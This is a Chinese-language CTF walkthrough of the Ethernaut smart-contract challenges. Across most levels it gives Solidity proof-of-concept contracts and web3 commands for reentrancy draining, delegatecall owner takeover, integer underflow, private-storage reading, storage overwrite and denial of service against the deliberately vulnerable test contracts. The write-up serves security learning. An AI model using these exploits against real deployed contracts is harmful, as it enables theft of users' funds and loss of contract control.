网上有几篇WP了,但是有的题目短缺,有的不够详细,有的POC,MagicNumber题目更新后是过不了的~~虽说我这里也不可能做到最详细,但是综合起来看的话,应该会好一些。下面是本篇WP参考到的文章,感谢。
Zeppelin Ethernaut writeup - MitAh's Blog (更新到22题)
Zeppelin ethernaut writeup - Bendawang's site (更新到22题)
智能合约CTF:Ethernaut Writeup Part 3 更新到18题
Ethernaut Zeppelin 学习 - 么哈么哈 更新到18题
Zeppelin Ethernaut writeup - MitAh 更新到15题
Hello Ethernaut
考察知识点
- 设置MetaMask来使用Ropsten测试网络。
- 通过contract.abi查看到所有可用函数
解题过程
await contract.info()
// "You will find what you need in info1()."
await contract.info1()
// "Try info2(), but with "hello" as a parameter."
await contract.info2('hello')
// "The property infoNum holds the number of the next info method to call."
await contract.infoNum()
// 42
await contract.info42()
// "theMethodName is the name of the next method."
await contract.theMethodName()
// "The method name is method7123949."
await contract.method7123949()
// "If you know the password, submit it to authenticate()."
await contract.password()
// "ethernaut0"
await contract.authenticate('ethernaut0')
FallBack
考察知识点
-
用于理解fallback函数的题目,
我本来以为是重入漏洞,其实就是调用一下fallback函数就好。
fallback函数就是那个没有名称的函数,每当合约收到以太币时(没有数据),这个函数就会执行
Ownable.sol的理解
旧版的solidity,构造函数的声明不是使用constructor(),而是使用同名函数,所以名为Fallback的函数是构造函数,不要认错。
解题过程
//保证在执行FallBack函数时,能通过contributions[msg.sender] > 0的校验
await contract.contribute({value:1})
//通过转账调用Fallback函数。
await contract.sendTransaction({value:1}) 或者 用MetaMask的发送功能。
//转走合约的钱。
await contract.withdraw()
Fallout
考察知识点
- 构造函数写法(旧版本0.4.x)
解题流程
构造函数..的名字是fal1out,所以说他不是构造函数...
调用它就可以获得owner权限了。
所以新版本slidity推荐这样写了
constructor() public {
owner = msg.sender;
}
这样不必须要和合约名相同名称
相关影响
https://paper.seebug.org/630/
CoinFlip
考察知识点
- 随机数安全
解题流程
主要考察的是,用Block的相关值当随机数验证,会有严重的安全问题。
这次就必须要用到Remix在线IDE了。
block.blockhash实际上已经被废弃了,不过测试还是没问题的,注意选择好编译器版本。(新的是blockhash)
部署环境Environment选择Injected Web3
poc如下:
pragma solidity >=0.4.18 <0.6.0;
import "./CoinFlip.sol";
contract CoinFlipPoc {
CoinFlip expFlip;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function CoinFlipPoc(address aimAddr) public {
expFlip = CoinFlip(aimAddr);
}
function hack() public {
uint256 blockValue = uint256(block.blockhash(block.number-1));
uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
bool guess = coinFlip == 1 ? true : false;
expFlip.flip(guess);
}
}
其实就是抄的网上的poc,因为要等这个区块完成后,才能执行一次。因为源代码里判断了
if (lastHash == blockValue) { revert(); }
所以不能用for循环的。要自己点10次hack了,中途还可能遇到error的情况 hhh。
c数组的第一个值就是consecutiveWins的值了。状态变量,不和用户绑定的。所以发起攻击的合约地址是无所谓的。
poc2
let blockHash = function() {
return new Promise(
(resolve, reject) => web3.eth.getBlock('latest', (error, result) => {
if(!error)
resolve(result['hash']);
else
reject(error);
})
);
}
contract.flip(parseInt((await blockHash())[2], 16) > 8)
Telephone
考察知识点
tx.origin
解题流程
让msg.sender与tx.origin不相同即可,使用合约就可以实现。
-
tx.origin
是交易的发送方。 -
msg.sender
是消息的发送方。
pragma solidity >=0.4.18 <0.6.0;
import "./Telephone.sol";
contract TelephonePoc {
Telephone phone;
function TelephonePoc(address aimAddr) public {
phone = Telephone(aimAddr);
}
function attack(address _owner) public{
phone.changeOwner(_owner);
}
}
await contract.owner() 可以看当前的owner。
可被用于钓鱼。
Token
考察知识点
- 整数溢出
解题流程
因为是uint的,负数就直接是下溢了。
转账地址随便填就行,只要不是自己就行,否则就加一次减一次回来了。
查看自己的余额(await contract.balanceOf(player)).toNumber()
Delegation
考察知识点
- delegatecall的理解、其调用方式是通过函数名hash后的前4个bytes来确定调用函数的。
- delegatecall与call的区别。
解题流程
题目要求也是获取owner权限。
可以看到Delegate合约中 pwn()函数就能修改owner。我们只要想办法在Delegation中调用即可。
PS: 注意delegatecall与call不同,他的上下文是调用合约,即相当于代码重用,会修改调用合约中的变量。所以我们的攻击才能奏效。
//sha3的返回值前两个为0x,所以要切0-10个字符。
contract.sendTransaction({data: web3.sha3("pwn()").slice(0,10)});
Force
考察知识点
- 强行将以太币置入合约的相关方式:1. 通过自毁、2. 创建前预先发送Ether、3. 为其挖矿。
解题流程
目标是使合同余额大于零。
-
使用自毁的方式
pragma solidity ^0.4.18; contract Force { function ForceSendEther(address _addr) payable public{ selfdestruct(_addr); } }
给自己的合约发送一些ether、调用ForceSendEther,通过自毁,将ether强行发送到另一个合约。
确保Remix的环境是在Injected Web3下。
查询余额的方式:(await getBalance(instance)).toNumber()
第二种方式是通过提前算出合约地址然后发送Ether的方式。
address(keccak256(0xd6, 0x94, _from, nonce))
第三种是直接为其挖矿。这里二三种方式就不做尝试了。
Vault
考察知识点
- 合约中的所有内容对所有外部观察者都是可见的。私有只会阻止其他合约访问和修改信息。
解题过程
这里给出两个网上的payload。
web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(web3.toAscii(y))});
function getStorageAt (address, idx) {
return new Promise (function (resolve, reject) {
web3.eth.getStorageAt(address, idx, function (error, result) {
if (error) {
reject(error);
} else {
resolve(result);
}
})
})}
await getStorageAt(instance, 1);
得到密码”A very strong secret password :)“
调用contract.unlock("A very strong secret password :)")即可。
通关后推荐我们使用zkSNARKs来保证安全。
King
考察知识点
- 当
transfer()
调用失败时会回滚状态,那么如果合约在这一步骤一直调用失败的话,代码将无法继续向下运行.
解题过程
!!失败了很多次...做到下一道题的时候才发现是OOG,Gas给少了,多给点就过了...毕竟测试网络大家都是土豪 Orz。 可以参考我的另一篇文章solidity合约审计 - Out of gas的处理办法
当 transfer()
调用失败时会回滚状态,那么如果合约在退钱这一步骤一直调用失败的话,代码将无法继续向下运行,其他人就无法成为新的 King。
pragma solidity ^0.4.18;
contract Attack {
address instance_address = instance_address_here;
function Attack() payable{}
function hack() public {
instance_address.call.value(1.1 ether)();
}
function () public {
revert();
}
}
似乎也可以这样写。
contract.sendTransaction({value: toWei(1.01)})
给了两个实际案例
King of the Ether and King of the Ether Postmortem
Re-entrancy
考察知识点
- 重入攻击
解题过程
POC如下:
pragma solidity ^0.4.18;
contract Reentrance {
mapping(address => uint) public balances;
function donate(address _to) public payable;
function balanceOf(address _who) public view returns (uint balance);
function withdraw(uint _amount) public;
function() public payable {}
}
contract ReentrancePoc {
Reentrance reInstance;
function getEther() public {
msg.sender.transfer(address(this).balance);
}
function ReentrancePoc(address _addr) public{
reInstance = Reentrance(_addr);
}
function callDonate() public payable{
reInstance.donate.value(msg.value)(this);
}
function attack() public {
reInstance.withdraw(1 ether);
}
function() public payable {
if(address(reInstance).balance >= 1 ether){
reInstance.withdraw(1 ether);
}
}
}
先调用callDonate,然后attack,就会重入到fallback函数中了。直到合约的余额为0。
具体原理,网上分析的很多,就不赘述了。
这里一直遇到了OOG问题,即Out of gas。在本地测试不会遇到。这是因为默认的Gas设置不能满足重入的需求,可以手动修改gas的量。如图
顺便一提,本体其实还有整数下溢的问题。
通过下述代码查看账户余额。
fromWei(await contract.balanceOf(""))
await getBalance(contract.address)
查看合约总余额。为0,则代表通关。
Elevator
考察知识点
- 函数即使被修饰了pure、view等修饰符,虽然会有警告,但还是可以修改状态变量的。
解题过程
理解了知识点后,就很好做了,第一次返回false第二次返回true即可。
pragma solidity ^0.4.18;
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public;
}
contract BuildingPoc {
Elevator ele;
bool t = true;
function isLastFloor(uint) view public returns (bool){
t = !t;
return t;
}
function attack(address _addr) public{
ele = Elevator(_addr);
ele.goTo(5);
}
}
通关后,题目给出了也可以使用gasleft的方式进行完成。这里就不做测试了。
Privacy
考察知识点
- 内部存储结构
- web3 api的使用。
解题过程
要求解锁 locked 就可以了,那很简单,直接利用 web3 的 api,web3.eth.getStorageAt
就可以,依次获取
web3.eth.getStorageAt("0x605d336f17fc3a2e50e3f290977525a0f6a5fcc0", 0,function(x,y){console.info(y);})
0x000000000000000000000000000000000000000000000000000000d80cff0a01
web3.eth.getStorageAt("0x605d336f17fc3a2e50e3f290977525a0f6a5fcc0", 1,function(x,y){console.info(y);})
0x47dac1a874d4d1f852075da0347307d6fcfef2a6ca6804ffda7b54e02df5c359
web3.eth.getStorageAt("0x605d336f17fc3a2e50e3f290977525a0f6a5fcc0", 2,function(x,y){console.info(y);})
0x06080b7822355f604ab68183a2f2a88e2b5be84a34e590605503cf17aec66668
web3.eth.getStorageAt("0x605d336f17fc3a2e50e3f290977525a0f6a5fcc0", 3,function(x,y){console.info(y);})
0xd42c0162aa0829887dbd2741259c97ca54fb1a26da7098de6a3697d6c4663b93
web3.eth.getStorageAt("0x605d336f17fc3a2e50e3f290977525a0f6a5fcc0", 4,function(x,y){console.info(y);})
0x0000000000000000000000000000000000000000000000000000000000000000
....
根据 solidity 文档中的变量存储原则,evm 每一次处理 32 个字节,而不足 32 字节的变量相互共享并补齐 32 字节。
那么我们简单分析下题目中的变量们:
bool public locked = true; //1 字节 01
uint256 public constant ID = block.timestamp; //32 字节
uint8 private flattening = 10; //1 字节 0a
uint8 private denomination = 255;//1 字节 ff
uint16 private awkwardness = uint16(now);//2 字节
bytes32[3] private data;
那么第一个 32 字节就是由locked
、flattening
、denomination
、awkwardness
组成,另外由于常量是无需存储的,所以从第二个 32 字节起就是 data。
那么 data[2] 就是0xd42c0162aa0829887dbd2741259c97ca54fb1a26da7098de6a3697d6c4663b93
,
注意这里进行了强制类型转换将 data[2] 转换成了 bytes16,那么我们取前 16 字节即可。
执行 unlock 即可。
参考文章:
https://medium.com/aigang-network/how-to-read-ethereum-contract-storage-44252c8af925
https://blog.csdn.net/Blockchain_lemon/article/details/79308137
Gatekeeper One
考察知识点
- 类型转换的理解
- solidity调试(最好看懂一点机器码)
- etherscan的熟练使用。
- tx.origin的理解
解题过程
gateOne和之前的一样,这里就不赘述了。用合约来就能完成这个任务。
编译器版本:v0.4.18+commit.9cf6e910
保证执行完Gas命令后剩余8191的整数倍。我这里使用的是819315。
https://ropsten.etherscan.io/vmtrace?txhash= 这里可以看到测试网络的指令
我以tx.origin=0x566f6e07f13ed2b092fc2fbe95aaf5e7f558efbf 为例
为了满足uint32(_gateKey) == uint16(tx.origin);。
uint16(tx.origin)的值最后4个字节,即0xefbf
bytes8 相当于uint64,bytes应该是为了兼容Utf-8吧,采用的是宽字节。
所以第一个条件,uint32(_gateKey) == uint16(_gateKey);
构造即为0x0000efbf,即前16位为0.
再看第二个条件, uint32(_gateKey) != uint64(_gateKey);
其实就是前半部分只要不是0就行。否则两个的值就一样了。
一个可用的:
0x000000010000efbf
最终
pragma solidity ^0.4.18;
import "./GatekeeperOne.sol";
contract GatekeeperOnePoc {
GatekeeperOne one;
function GatekeeperOnePoc(address _addr) public{
one = GatekeeperOne(_addr);
}
function attack() public{
one.call.gas(819315)(bytes4(keccak256("enter(bytes8)")), bytes8(0x000010000000733c));
}
}
传参的时候,要自己转一下bytes8,要不然会有问题...我猜是uint256去转了。这块花费了太长时间了,就不扣这块了。
Gatekeeper Two
考察知识点
- 位运算
- sodility汇编-extcodesize
解题过程
gateOne 跟上一关一样,需要利用合约进行攻击。
gateTwo 中 extcodesize 用来获取指定地址的合约代码大小。这里使用的是内联汇编,来获取调用方(caller)的代码大小,一般来说,caller 为合约时,获取的大小为合约字节码大小,caller 为账户时,获取的大小为 0 。
条件为调用方代码大小为 0 ,但这又与 gateOne 冲突了。经过研究发现,当合约在初始化,还未完全创建时,代码大小是可以为0的。因此,我们需要把攻击合约的调用操作写在 constructor
构造函数中。
第二点,这里判断的是msg.sender,所以要在代码里进行实时计算。异或的特性就是异或两次就是原数据。所以将sender和FFFFFFFFFFFFFFFF进行异或的值就是我们想要的。
Poc如下:
pragma solidity ^0.4.18;
import "./GatekeeperTwo.sol";
contract GatekeeperTwoPoc {
uint64 public mask = 0xFFFFFFFFFFFFFFFF;
function GatekeeperTwoPoc(address _addr){
GatekeeperTwo target = GatekeeperTwo(_addr);
uint64 res = uint64(keccak256(this)) ^ mask;
// target.call.gas(100000)(bytes4(sha3("enter(bytes8)")),bytes8(res));
target.enter(bytes8(res));
}
function Test(bytes8 _gateKey) public view returns(bytes8 a,uint64 b,uint64 c,uint64 d,bool flag,uint64 res){
a = bytes8(0x35CA4826EABA710A);
b = uint64(keccak256(msg.sender));
c = uint64(_gateKey);
d = uint64(a);
flag = uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1;
res = uint64(keccak256(this)) ^ mask;
}
}
Naught Coin
考察知识点
- ERC20
解题过程
熟悉ERC20就不难,Copy一段WP:
既然子合约没有什么问题,那我们看看 import 的父合约
StandardToken.sol,其其实根据 ERC20 的标准我们也知道,转账有两个函数,一个transfer
一个transferFrom
,题目中代码只重写了transfer
函数,那未重写transferFrom
就是一个可利用的点了。直接看看StandardToken.sol
代码:
contract StandardToken {
using ERC20Lib for ERC20Lib.TokenStorage;
ERC20Lib.TokenStorage token;
...
function transfer(address to, uint value) returns (bool ok) {
return token.transfer(to, value);
}
function transferFrom(address from, address to, uint value) returns (bool ok) {
return token.transferFrom(from, to, value);
}
...
}
跟进ERC20Lib.sol
:
library ERC20Lib {
...
function transfer(TokenStorage storage self, address _to, uint _value) returns (bool success) {
self.balances[msg.sender] = self.balances[msg.sender].minus(_value);
self.balances[_to] = self.balances[_to].plus(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(TokenStorage storage self, address _from, address _to, uint _value) returns (bool success) {
var _allowance = self.allowed[_from](msg.sender);
self.balances[_to] = self.balances[_to].plus(_value);
self.balances[_from] = self.balances[_from].minus(_value);
self.allowed[_from](msg.sender) = _allowance.minus(_value);
Transfer(_from, _to, _value);
return true;
}
...
function approve(TokenStorage storage self, address _spender, uint _value) returns (bool success) {
self.allowed[msg.sender](_spender) = _value;
Approval(msg.sender, _spender, _value);
return true;
}
}
可以直接调用这个transferFrom
即可了。但是transferFrom
有一步权限验证,要验证这个msg.sender
是否被_from
(实际上在这里的情景的就是自己是否给自己授权了),那么我们同时还可以调用 approve 给自己授权。
POC如下:
await contract.approve(player,toWei(1000000))
await contract.transferFrom(player,contract.address,toWei(1000000))
await contract.balanceOf(player) 可以看账户余额。
Preservation
考察知识点
- delegatecall
- storage 变量的存储与访问
- 类型转换
解题过程
这里就是主要利用delegatecall
函数的特性,先介绍下:
delegatecall 用来调用其他合约、库的函数,比如 a 合约中调用 b 合约的函数,执行该函数使用的 storage 是 a 的。举个例子:
contract a{
uint public x1;
uint public x2;
function funca(address param){
param.delegate(bytes4(keccak256("funcb()")));
}
}
contract b{
uint public y1;
uint public y2;
function funcb(){
y1=1;
y2=2;
}
}
上述合约中,一旦在 a 中调用了 b 的funcb
函数,那么对应 a 中 x1 就会等于,x2 就会等于 2。
在这个过程中实际 b 合约的funcb
函数是把 storage 里面的slot 1
的值更换为了 1,把slot 2
的值更换为了 2,那么由于 delegatecall 的原因这里修改的是 a 的 storage,对应就是修改了 x1,x2。
所以这个题就很好办了,我们调用Preservation
的setFirstTime
函数时候实际通过 delegatecall 执行了LibraryContract
的setTime
函数,修改了slot 1
,也就是修改了timeZone1Library
变量。
这样,我们第一次调用setFirstTime
将timeZone1Library
变量修改为我们的恶意合约的地址,第二次调用setFirstTime
就可以执行我们的任意代码了。
POC如下:
pragma solidity ^0.4.23;
contract PreservationPoc {
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
function setTime(uint _time) public {
owner = address(_time);
}
}
await contract.setSecondTime(恶意合约地址)
await contract.setFirstTime(player地址)
记得加引号。
函数中的局部变量默认为存储或内存,具体取决于其类型。未初始化的本地存储变量可以指向合约中的其他意外存储变量,从而导致故意(即开发人员故意将它们放在那里进行攻击)或无意的漏洞。
Locked
考察知识点
- 使用未初始化的存储器局部变量导致的漏洞
解题过程
copy一段解释:
为了讨论这个漏洞,首先我们需要了解存储(Storage)在 Solidity 中的工作方式。作为一个高度抽象的概述(没有任何适当的技术细节——我建议阅读 Solidity 文档以进行适当的审查),状态变量按它们出现在合约中的顺序存储在合约的 Slot 中(它们可以被组合在一起,但在本例中不可以,所以我们不用担心)。因此, unlocked
存在 slot 0
中, registeredNameRecord
存在 slot 1
中, resolve
在 slot 2
中,等等。这些 slot 的大小是 32 字节(映射会让事情更加复杂,但我们暂时忽略)。如果 unlocked
是 false
,其布尔值看起来会是 0x000...0
(64 个 0,不包括 0x
);如果是 true
,则其布尔值会是 0x000...1
(63 个 0)。正如你所看到的,在这个特殊的例子中,存储上存在着很大的浪费。
我们需要的另一部分知识,是 Solidity 会在将复杂的数据类型,比如 structs
,初始化为局部变量时,默认使用 storage 来存储。因此,在 [16] 行中的 newRecord
默认为storage。合约的漏洞是由 newRecord
未初始化导致的。由于它默认为 storage,因此它成为指向 storage 的指针;并且由于它未初始化,它指向 slot 0(即 unlocked
的存储位置)。请注意,[17] 行和[18] 行中,我们将 _name
设为 nameRecord.name
、将 _mappedAddress
设为 nameRecord.mappedAddress
的操作,实际上改变了 slot 0 和 slot 1 的存储位置,也就是改变了 unlocked
和与 registeredNameRecord
相关联的 slot。
这意味着我们可以通过 register()
函数的 bytes32 _name
参数直接修改 unlocked
。因此,如果 _name
的最后一个字节为非零,它将修改 slot 0 的最后一个字节并直接将 unlocked
转为 true
。就在我们将 unlocked
设置为 true
之时,这样的 _name
值将传入 [23] 行的 require()
函数。在Remix中试试这个。注意如果你的 _name
使用下面形式,函数会通过: 0x0000000000000000000000000000000000000000000000000000000000000001
Recovery
考察知识点
- 区块链上一切都是透明的,即使弄丢了 Token 地址,也可以从区块中根据交易记录找回。
- 通过 selfdestruct 指令可以销毁某个 Token 并将剩余的以太转移到某一账户中去
解题过程
使用Instance的地址通过Etherscan可以查到SimpleToken 的地址。
然后可以编写一个简单的Poc,调用destroy即可。
POC如下:
pragma solidity ^0.4.23;
contract SimpleToken {
// public variables
string public name;
mapping (address => uint) public balances;
// collect ether in return for tokens
function() public payable ;
// allow transfers of tokens
function transfer(address _to, uint _amount) public ;
// clean up after ourselves
function destroy(address _to) public ;
}
contract RecoveryPoc {
SimpleToken target;
constructor(address _addr) public{
target = SimpleToken(_addr);
}
function attack() public{
target.destroy(tx.origin);
}
}
,应该还可以使用Remix的At Address直接操控已经在链上的合约。(我这边不知道为什么js报错了)
调用成功后,可以发现合约已经被销毁了。
甚至还可以手动计算地址。
public a = address(keccak256(0xd6,0x94,YOUR_ADDR,0x01));
参考链接:
https://medium.com/coinmonks/ethernaut-lvl-18-recovery-walkthrough-how-to-retrieve-lost-contract-addresses-in-2-ways-aba54ab167d3
MagicNumber
考察知识点
- EVM汇编
- 使用opcode创建合约
- 生命的意义
解题过程
参考资料:
https://www.jianshu.com/p/d9137e87c9d3
https://medium.com/coinmonks/ethernaut-lvl-19-magicnumber-walkthrough-how-to-deploy-contracts-using-raw-assembly-opcodes-c50edb0f71a2
42的来源
https://baike.baidu.com/item/42/16630643?fr=aladdin
有些复杂.... 请参考上述资料
POC如下:
var bytecode = "0x600a600c600039600a6000f3602A60805260206080f3";
web3.eth.sendTransaction({ from: player, data: bytecode }, function(err,res){console.log(res)});
await contract.setSolver("contract address");
网上的POC,似乎都是return的66,即0x42。
应该是return 0x2a才对。
之前他们能AC,是合约不严谨,但现在这个问题已经被修复了。
Alien Codex
考察知识点
- EVM汇编、abi等
- 合约是如何从零创建的
- OOB (out of boundary) Attack
解题过程
这个题也比较复杂,要比较清楚内部实现才可以。
POC
sig = web3.sha3("make_contact(bytes32[])").slice(0,10)
// "0x1d3d4c0b"
// 函数选择器
data1 = "0000000000000000000000000000000000000000000000000000000000000020"
// 除去函数选择器,数组长度的存储从第 0x20 位开始
data2 = "1000000000000000000000000000000000000000000000000000000000000001"
// 数组的长度
await contract.contact()
// false
contract.sendTransaction({data: sig + data1 + data2});
// 发送交易
await contract.contact()
// true、
await contract.retract()
因为数组计算存储位是通过这个公式计算的。slot是数组所在的存储位
keccak256(slot) + index
可参考
https://segmentfault.com/a/1190000013791133
https://www.anquanke.com/post/id/153375#h3-9
数组计算也会返回一个uint256,所以也能构成溢出。
计算方式 想要定位到的位置 x
x == keccak256(slot) + (2^256 - keccak256(slot) ) + x == 2^256 + x
因为溢出的缘故,2^256 +x == x。
所以我们传一个下标为(2^256 - keccak256(slot) ) + x的值就可以定位到任意存储位了。
x=0时,slot等于1时
这个位置为
0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f30a
然后记得把40位地址补齐为64位的。具体原因看文章,很详细了。
http://www.bendawang.site/2018/11/13/Zeppelin-ethernaut-writeup/
https://xz.aliyun.com/t/2914
Denial
考察知识点
- 重入
- assert失败后会耗费所有Gas
解题过程
明显重入是可以的,不过重入计算balance的时候,这个balance是被更新了的,很难取出全部的。
POC如下:
contract DenialPoc{
Denial target;
constructor(address _addr) public {
target = Denial(_addr);
}
function () payable public {
target.withdraw();
}
}
这个题的本意是说,你取到钱,Partner取不到即可,下面这个POC,应该也可以:
contract attack{
function() payable{
assert(0==1);
}
}
Shop
考察知识点
- 低gas的使两次返回值不同。
解题过程
要求是修改 price 低于 100,
那就第一次返回大于100,第二次返回小于100。
不能使用状态变量,否则会超出gas限制。
我抱着试一试的态度,写了下面的POC,没想到成功了,主要是不知道能否实时获取到isSold变量的变化。竟然是可以的,这里的原理就还需要细究了,应该是没有从链上读的,毕竟,这个交易都还没有完成。
contract ShopPoc{
Shop target;
function attack(address _addr) public{
target = Shop(_addr);
target.buy();
}
function price() external view returns (uint){
if (target.isSold() == true){
return 99;
}
return 102;
}
}
完成~~
可喜可贺~
毕竟是在公司完成的,版权所有:成都链安。